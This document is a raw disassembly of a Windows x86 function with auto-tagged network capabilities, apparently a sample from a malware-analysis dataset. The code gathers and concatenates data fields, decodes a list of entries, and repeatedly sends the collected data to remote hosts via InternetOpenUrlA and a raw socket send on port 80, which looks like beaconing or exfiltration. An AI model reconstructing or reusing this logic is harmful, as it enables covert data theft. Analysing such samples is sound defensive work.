Function at 0x403120
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create http request
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
push ebp
push eax
mov eax, 0x12
add esp, 0xfffff004
push eax
dec eax
jne 0x40312a
mov eax, dword [esp + 0x12000]
add esp, 0xfffff658
lea esi, [esp + 0xc]
mov ebp, esp
mov ebx, 0x408334
push 0x4038dc
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4038e0
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4038e4
mov edx, esi
mov eax, ebx
call fcn.0040229c
push esi
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x4038e8
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4038e4
mov edx, esi
lea eax, [ebx + 0x20]
call fcn.0040229c
push esi
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x4038ec
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4038e4
mov edx, esi
lea eax, [ebx + 0x40]
call fcn.0040229c
push esi
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x4038f0
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4038e4
mov edx, esi
lea eax, [ebx + 0x60]
call fcn.0040229c
push esi
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x4038f4
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4038e4
mov edx, esi
lea eax, [ebx + 0x80]
call fcn.0040229c
push esi
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x4038f8
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0xa0]
push eax
push esi
call sub.kernel32.dll_lstrcpyA_1
lea eax, [ebx + 0xc0]
push eax
push esi
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0xe0]
push eax
push esi
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x100]
push eax
push esi
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x120]
push eax
push esi
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x140]
push eax
push esi
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4038e4
mov edx, esi
mov eax, esi
call fcn.0040229c
push esi
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x4038fc
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4038e4
mov edx, esi
lea eax, [ebx + 0x1e0]
call fcn.0040229c
push esi
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403900
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4038e4
mov edx, esi
lea eax, [ebx + 0x200]
call fcn.0040229c
push esi
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403904
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4038e4
mov edx, esi
lea eax, [ebx + 0x220]
call fcn.0040229c
push esi
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403908
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4038e4
mov edx, esi
lea eax, [ebx + 0x240]
call fcn.0040229c
push esi
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x40390c
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4038e4
mov edx, esi
lea eax, [ebx + 0x260]
call fcn.0040229c
push esi
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403910
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x280]
push eax
push 0x403914
push esi
call sub.user32.dll_wvsprintfA_1
push esi
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403918
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x284]
push eax
push 0x403914
push esi
call sub.user32.dll_wvsprintfA_1
push esi
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x40391c
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x288]
push eax
push 0x403914
push esi
call sub.user32.dll_wvsprintfA_1
push esi
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403920
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [ebx + 0x28c]
push eax
push 0x403914
push esi
call sub.user32.dll_wvsprintfA_1
push esi
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403924
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4038e4
mov edx, esi
lea eax, [ebx + 0x290]
call fcn.0040229c
push esi
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403928
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4038e4
mov edx, esi
lea eax, [ebx + 0x2b0]
call fcn.0040229c
push esi
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x40392c
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4038e4
mov edx, esi
mov eax, 0x408228
call fcn.0040229c
push esi
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403930
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
mov ecx, 0x4038e4
mov edx, esi
mov eax, 0x408028
call fcn.0040229c
push esi
lea eax, [esp + 0x10810]
push eax
call sub.kernel32.dll_lstrcatA_1
xor eax, eax
mov dword [ebp], eax
lea eax, [esp + 0x80c]
mov edx, 0x10000
call fcn.004030d4
push 0xfffffffffffffffc
push 1
mov edx, ebp
mov eax, 0x407a10
mov ecx, 4
call fcn.00402b9c
mov eax, dword [ebp]
neg eax
sub eax, 4
sub eax, 4
push eax
push 1
lea edx, [esp + 0x10]
mov eax, 0x407a10
mov ecx, 4
call fcn.00402b9c
mov eax, dword [ebp]
neg eax
sub eax, 4
sub eax, 4
sub eax, 0x100
push eax
push 1
lea edx, [esp + 0x814]
mov eax, 0x407a10
mov ecx, pe_nt_image_headers32
call fcn.00402b9c
mov eax, dword [esp + 8]
push eax
push 0xbb
lea edx, [esp + 0x814]
lea eax, [esp + 0x814]
mov ecx, pe_nt_image_headers32
call fcn.0040241c
mov dword [ebp], 1
lea ebx, [esp + 0x100c]
push ebp
push 0x403934
push esi
call sub.user32.dll_wvsprintfA_1
push 0x800
push 0x407d1c
mov ecx, ebx
mov edx, esi
mov eax, 0x40393c
call fcn.00402c48
mov edx, ebx
mov eax, ebx
mov ecx, 0xaa
call fcn.00402344
inc dword [ebp]
add ebx, 0x800
cmp dword [ebp], 0x20
jne 0x4035f4
xor eax, eax
mov dword [ebp], eax
lea ebx, [esp + 0x80c]
cmp dword [ebp], 1
jb 0x403659
push ebx
lea eax, [esp + 0x810]
push eax
call sub.kernel32.dll_lstrcmpiA_1
test eax, eax
je 0x4036c6
push ebx
call sub.kernel32.dll_lstrlenA_1
test eax, eax
jle 0x4036c6
push ebx
lea eax, [esp + 0x12010]
push eax
call sub.kernel32.dll_lstrcpyA_1
lea eax, [esp + 0x1080c]
push eax
lea eax, [esp + 0x12010]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0
push 0
push 0
push 0
push 0x403944
call sub.wininet.dll_InternetOpenA
mov esi, eax
push 0
push 0x80000000
push 0
push 0
lea eax, [esp + 0x1201c]
push eax
push esi
call sub.wininet.dll_InternetOpenUrlA
push eax
call sub.wininet.dll_InternetCloseHandle
push esi
call sub.wininet.dll_InternetCloseHandle
push 0x64
call sub.kernel32.dll_Sleep_1
inc dword [ebp]
add ebx, 0x800
cmp dword [ebp], 6
jne 0x403641
xor eax, eax
mov dword [ebp], eax
lea ebx, [esp + 0x80c]
cmp dword [ebp], 1
jb 0x403701
push ebx
lea eax, [esp + 0x810]
push eax
call sub.kernel32.dll_lstrcmpiA_1
test eax, eax
je 0x4038bd
push ebx
call sub.kernel32.dll_lstrlenA_1
mov edi, eax
mov edx, 0x40394c
mov eax, ebx
xor ecx, ecx
call fcn.0040212c
mov dword [esp + 4], eax
mov edx, 0x403950
mov eax, ebx
mov ecx, 2
call fcn.0040212c
mov esi, eax
cmp edi, 9
jle 0x4038bd
cmp dword [esp + 4], 5
jne 0x4038bd
cmp esi, 8
jle 0x4038bd
lea eax, [esp + 0x1100c]
mov edx, 0x800
call fcn.004030d4
lea eax, [esp + 0x1180c]
mov edx, 0x800
call fcn.004030d4
mov ecx, esi
sub ecx, 7
dec ecx
lea edx, [ebx + 7]
lea eax, [esp + 0x1100c]
call fcn.004030cc
mov ecx, edi
sub ecx, esi
inc ecx
lea edx, [ebx + esi - 1]
lea eax, [esp + 0x1180c]
call fcn.004030cc
push 0x403954
lea eax, [esp + 0x12010]
push eax
call sub.kernel32.dll_lstrcpyA_1
lea eax, [esp + 0x1180c]
push eax
lea eax, [esp + 0x12010]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [esp + 0x1080c]
push eax
lea eax, [esp + 0x12010]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x40395c
lea eax, [esp + 0x12010]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403968
lea eax, [esp + 0x12010]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [esp + 0x1100c]
push eax
lea eax, [esp + 0x12010]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403970
lea eax, [esp + 0x12010]
push eax
call sub.kernel32.dll_lstrcatA_1
lea eax, [esp + 0x1280c]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
lea eax, [esp + 0x1299c]
mov edx, 0x10
call fcn.004030d4
mov word [esp + 0x1299c], 2
push 0x50
call sub.wsock32.dll_htons
mov word [esp + 0x1299e], ax
lea eax, [esp + 0x1100c]
call fcn.00402f6c
mov dword [esp + 0x129a0], eax
push 0x10
lea eax, [esp + 0x129a0]
push eax
push esi
call sub.wsock32.dll_connect
push 0
lea eax, [esp + 0x12010]
push eax
call sub.kernel32.dll_lstrlenA_1
push eax
lea eax, [esp + 0x12014]
push eax
push esi
call sub.wsock32.dll_send
push esi
call sub.wsock32.dll_closesocket
call sub.wsock32.dll_WSACleanup
push 0x1f4
call sub.kernel32.dll_Sleep_1
inc dword [ebp]
add ebx, 0x800
cmp dword [ebp], 6
jne 0x4036e5
add esp, 0x129ac
pop ebp
pop edi
pop esi
pop ebx
ret